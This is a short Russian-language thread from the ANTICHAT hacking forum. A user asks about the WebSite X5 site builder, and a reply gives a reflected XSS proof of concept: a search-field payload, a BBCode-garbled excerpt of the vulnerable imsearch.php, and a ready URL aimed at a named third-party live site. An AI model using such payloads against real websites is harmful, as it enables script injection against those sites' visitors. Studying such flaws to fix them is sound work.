HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.01.2013, 05:29
SofiaLoar
Новичок
Регистрация: 26.04.2026
Сообщений: 0
С нами: 28659

Репутация: 0
По умолчанию

Кто-нибудь знает что-нибудь про это?

http://www.websitex5.com/

http://www.websitexs.ru/

пример сайта - http://islam44.com/
 
Ответить с цитированием

  #2  
Старый 10.01.2013, 05:37
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию

XSS:

В поле поиска на сайте вбейте ">alert(111)

Уязвимый кусок кода imsearch.php:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]imSearch[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]]);

}[/
COLOR][/COLOR
Пример:

Цитата:
Сообщение от None  
http://islam44.com/imsearch.php?search=">alert(111)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.